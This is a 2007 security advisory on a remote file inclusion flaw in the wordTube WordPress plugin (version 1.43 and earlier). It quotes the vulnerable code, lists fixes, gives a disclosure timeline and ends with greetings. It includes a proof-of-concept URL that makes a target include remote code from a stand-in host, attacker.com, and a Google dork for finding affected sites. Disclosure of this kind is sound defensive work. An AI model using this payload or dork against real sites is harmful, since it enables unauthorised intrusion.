------------------------------------------------------------------------ ----------------- [ECHO_ADV_81$2007] wordpress plugins wordTube <= 1.43 (wpPATH) Remote File Inclusion Vulnerability ------------------------------------------------------------------------ ----------------- Author : M.Hasran Addahroni Date : April, 30th 2007 Location : Australia, Sydney Web : http://advisories.echo.or.id/adv/adv81-K-159-2007.txt Critical Lvl : Dangerous Impact : System access Where : From Remote ------------------------------------------------------------------------ --- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : wordTube version : <= 1.43 Vendor : http://alexrabe.boelinger.com/?page_id=20 Description : This plugin creates your personal YouTube plugin for wordpress. wordTube supports the streaming video format (Format .flv or .swf), sound files as MP3 and JPG, GIF or PNG grafic files. ------------------------------------------------------------------------ --- Vulnerability: ~~~~~~~~~~~~~ - Invalid include function at wordtube-button.php : ----------------wordtube-button.php------------------- ... */ // get and set path of function if (!$_POST) $wppath=$_GET['wpPATH']; else $wppath=$_POST['wpPATH']; require_once($wppath.'/wp-config.php'); require_once($wppath.'/wp-admin/admin.php'); ... ---------------------------------------------------------------- Input passed to the "wpPATH" parameter in wordtube-button.php is not properly verified before being used to include files. This can be exploited to include arbitrary files from local or external resources. Successful exploitation requires that "register_globals" is enabled. Poc/Exploit: ~~~~~~~~~ http://www.target.com/wp-content/plugins/wordtube/wordtube-button.php?wp PATH=http://attacker.com/evil? Google dork: ~~~~~~~~~ "inurl:/plugins/wordtube" Solution: ~~~~~~ - Edit the source code to ensure that input is properly verified. - Turn off register_globals - use the latest version Notification: ~~~~~~ - 30-04-2007 bugs found - 30-04-2007 vendor contacted - 1-05-2007 advisory released ------------------------------------------------------------------------ --- Shoutz: ~~~~ ~ ping - my dearest wife, and my little son, for all the luv the tears n the breath ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments) ~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,bayl aw ~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16 ~ newbie_hacker (at) yahoogroups (dot) com [email concealed] ~ #aikmel #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~~~ K-159 || echo|staff || eufrato[at]gmail[dot]com Homepage: http://k-159.echo.or.id/ -------------------------------- [ EOF ] ----------------------------------